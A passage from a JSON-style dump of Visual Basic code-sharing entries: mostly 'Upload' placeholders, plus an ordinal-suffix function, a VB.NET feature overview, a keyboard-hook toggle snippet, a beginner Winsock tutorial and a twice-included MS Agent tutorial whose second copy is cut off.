Sub\n"},{"WorldId":1,"id":13022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13043,"LineNumber":1,"line":"Public Function FormatFancyNumber(ByVal sNumber As String) As String\n Dim iTemp As Integer\n iTemp = Int(sNumber)\n If 4 < iTemp And iTemp < 20 Then\n FormatFancyNumber = sNumber & \"th\"\n Else\n Select Case iTemp Mod 10\n Case 1\n FormatFancyNumber = sNumber & \"st\"\n Case 2\n FormatFancyNumber = sNumber & \"nd\"\n Case 3\n FormatFancyNumber = sNumber & \"rd\"\n Case Else\n FormatFancyNumber = sNumber & \"th\"\n End Select\n End If\nEnd Function"},{"WorldId":1,"id":13044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13072,"LineNumber":1,"line":"The new Visual Studio.net (v.7.0) comes with a brand new user interface. \nAs shown above, you now switch between your code and design view, by clicking the appropriate tab. You can switch between open forms (now called Windows Forms) by selected the appropriate tab.\nVariables have changed, f.ex. the good old integer variable is now called short. The long variable is now called integer!!! You can not use variables without defining them first (Developers who used the option explicit statement are familiar with this). A new powerful feature is presented in VB.NET, you can now declare a variable with a value in it. This is similar to the old C++ from Visual Studio 6.0.\nStatements like on error goto are now history. Instead we have the Try statement which is very similar to the one we have in Delphi.\nAnother great feature in .Net is the collapse option in the code view. When writing complex application you may get lost in spagetti code. Now you can collapse classes, functions, procedures, scopes etc. This enables you to keep a better track of your code. An example of this is shown above.\nTypecasting is now available in .Net. We can no longer pass integer values to strings without typecasting. At first this sounds boring and dreadful but this prevents mistakes so this is really a great new feature.\n.net provides us with better access to memory.\nOverall VB.Net is going to make us, the VB programmers, the most valuable programmers on the market and will enable us to write killer applications in no-time.\nWith greetings from Iceland,\nMrHippo,\n"},{"WorldId":1,"id":13081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13106,"LineNumber":1,"line":"Dim hhkLowLevelKybd As Long\nPrivate Sub chkDisable_Click()\nIf chkDisable = vbChecked Then\n hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)\nElse\n UnhookWindowsHookEx hhkLowLevelKybd\n hhkLowLevelKybd = 0\nEnd If\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nIf hhkLowLevelKybd <> 0 Then UnhookWindowsHookEx hhkLowLevelKybd\nEnd Sub\n"},{"WorldId":1,"id":13108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13114,"LineNumber":1,"line":"Winsock for\nBeginners\n \nIntroduction\nThis tutorial will show\nnewcomers to Visual Basic how to use the Winsock ActiveX Control to transfer\ndata across the internet. This tutorial show beginners how to start a Winsock\nconnection, how to send data across a Winsock connection, how to receive data\nusing a Winsock Connection and how to close a Winsock connection.\n \nWhy I wrote this tutorial\nI got asked a few questions\non Winsock so I decided to write a tutorial that would describe the very basics\nof using Winsock. Also I thought that it would help new coders who were trying\nto send data over the net.\n \n \nGetting Started\n1)Start VB and choose\n'Standard EXE'\n2)Now Using the Add\nComponents (Right Click on Toolbar) add the Microsoft Winsock Control\n3)Double Click the New Icon\nthat Appeared on the Toolbar\nNow you will see the control\non the form. You can rename the control but in the code I will call it Winsock1. \n \n \nOpening a\nWinsock Connection\nTo Open a Winsock Connection all you need to\ndo is to type Winsock1.Connect . But there are two values you have to give for\nthe code to work. Remote Host and Remote Port.\nPaste this Into the Form_Load()\n, Command1_Click() or any other Sub\n'<---- The Code Starts\nHere ---->\nWinsock1.Connect , RemHost,\nRemotePort,\n<---- The Code Ends Here\n---->\nRemHost stands for the Remote\nHost you want to connect to. The RemotePort stands for the Remote Port you want\nto connect to.\n \nExample\nWinsock1.Connect , "127.0.0.1" ,\n"100" 'This code example will\nconnect you to your own computer on Port 100 \n \n \nSending Data Using\nWinsock\nSending data using Winsock is\nalso relatively simple. Just use Winsock1.SendData . But this too requires a\nvalue to be given. In plain English - It has to to know what data to send.\n<---- The Code Starts Here\n---->\nWinsock1.SendData(Data)\n<---- The Code Ends Here\n---->\nData stands for the data you\nwant to send.\nExample\nWinsock1.SendData("Test")\n'This code will send the data string\n"Test"\n \nReceiving Data\nUsing Winsock \n \nReceiving data using Winsock\nis relatively more complex than the methods mentioned above. It requires code in\nthree places. It requires code in the Form_Load (or any other section), code in the Winsock1_DataArrival Section\n, and code in the Winsock_ConnectionRequest event. \nStep1 (Placing\nthe code in Form_Load event)\nPlacing this code depends on when you want to start\naccepting data. The best place to put this code is usually in the Form_Load\nevent.\n<---- The Code Starts Here\n---->\nWinsock1.LocalPort =\nPortNumber\nWinsock.Listen\n<---- The Code Ends Here\n---->\nData stands for the data you\nwant to send.\n \nExample\nWinsock1.LocalPort = 1000 'This\nwill set the port number to 1000\nWinsock.Listen 'This\nwill tell Winsock to start listening\n \nStep 2 (Placing\nthe code in Winsock1_DataArrival Section)\nYou will need to\nplace some code in the Winsock1_DataArrival event to tell Winsock what to do\nonce it receives data.\n<---- The Code Starts Here\n---->\nWinsock1.GetData (data)\n MsgBox (data) 'This\nwill show the data in a Message Box\n \n<---- The Code Ends Here\n---->\n \nExample\nDim StrData 'This\ndeclares the data string (can be place in general declarations too)\nWinsock1.GetData StrData 'Tells\nWinsock to get the data from the Port and put it in the data string\n MsgBox SrtData\n'Displays the data in a Message Box\n \nStep 3 (Placing\nthe code in Winsock1_Connection Request Section)\nYou will need to\nplace some code in the Winsock1_ConnectionRequest event to tell Winsock what do\nwhen it receives a connection request.\n<---- The Code Starts Here\n---->\nDim RequestID 'Declare\nthe RequestID String\nIf socket.State <> sckClosed Then \nsocket.Close \nsocket.Accept requestID \nEnd If \n\n<---- The Code Ends Here\n---->\n \nExample\nDim RequestID Declare\nthe RequestID String\nIf socket.State <> sckClosed Then 'If\nWinsock is not closed \nsocket.Close 'Then Close the Connetion \nsocket.Accept requestID Reuquest the ID \nEnd If \n\n \nClosing a Winsock\nConnection\nThis is relatively simple. All you have to\ndo is to type one line of code. This can be place in almost any event on the\nform including Form_Unload , Comman1_Click and so on.\n<---- The Code Starts Here\n---->\nWinsock1.Close 'Closes\nthe Winsock Connection\n \n<---- The Code Ends Here\n---->\n \n \nThe End\nPlease tell me how I can\nimprove this tutorial. If you have any questions or comments please post them\nhere and I will reply to them as soon as I can.\n</body>\n"},{"WorldId":1,"id":13121,"LineNumber":1,"line":" \nHow to use the\nMS Agent Control for Absolute Beginners\n \nIntroduction\nThis tutorial will teach you\nhow to use the MS Agent control. It will show you how to get a character file\nassociated with MS Agent and then how to use it in different ways. Does not\nrequire any previous knowledge of using the control. While this tutorial shows\nyou the inns and outs of using the MS Agent control and the various characters\nthat can be associated with it, it also shows every step in an easy to\nunderstand manner. Although this extensive tutorial covers nearly all the\naspects of using the MS Agent Control, even novice programmers will be able\nto understand this tutorial and use the example code in their own\napplications. \n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nNew In this Version\nIn this version I have added a 'Fun Code'\nsection where you can get some cool code that makes the characters act in\ndifferent ways. I have also updated the 'Customizing the Agent Control' by\ndescribing some new properties you can change. I have also made a few minor\nadjustments to other areas of the tutorial.\nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6. You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the monkey. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \n \nDoing Stuff With\nthe Character\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nCustomizing the\nAgent Control\n \nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\n \nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\n \nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\n \nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \n \n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\n \nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\n \nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nYes, the Agent Character files are freeware\nand can be downloaded from MSDN (Microsoft Developer Network). \n \nWhy don't some functions\n(commands) work on some character files?\nWell the latest version character files will\nhave more functions (Robby the Monkey is the latest I think), so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle2_3" function does not work on Peedy.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \n \nTHE END\nI've worked for a \nlong time to get this tutorial to you so I would really appreciate some feedback and votes!\nYou are free to use the example source code in your applications.\n"},{"WorldId":1,"id":13126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13143,"LineNumber":1,"line":" \nHow to use the\nMS Agent Control for Absolute Beginners\n \nIntroduction\nThis tutorial will teach you\nhow to use the MS Agent control. It will show you how to get a character file\nassociated with MS Agent and then how to use it in different ways. Does not\nrequire any previous knowledge of using the control. While this tutorial shows\nyou the inns and outs of using the MS Agent control and the various characters\nthat can be associated with it, it also shows every step in an easy to\nunderstand manner. Although this extensive tutorial covers nearly all the\naspects of using the MS Agent Control, even novice programmers will be able\nto understand this tutorial and use the example code in their own\napplications. \n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nNew In this Version\nIn this version I have added a 'Fun Code'\nsection where you can get some cool code that makes the characters act in\ndifferent ways. I have also updated the 'Customizing the Agent Control' by\ndescribing some new properties you can change. I have also made a few minor\nadjustments to other areas of the tutorial.\nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6. You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the monkey. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \n \nDoing Stuff With\nthe Character\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop 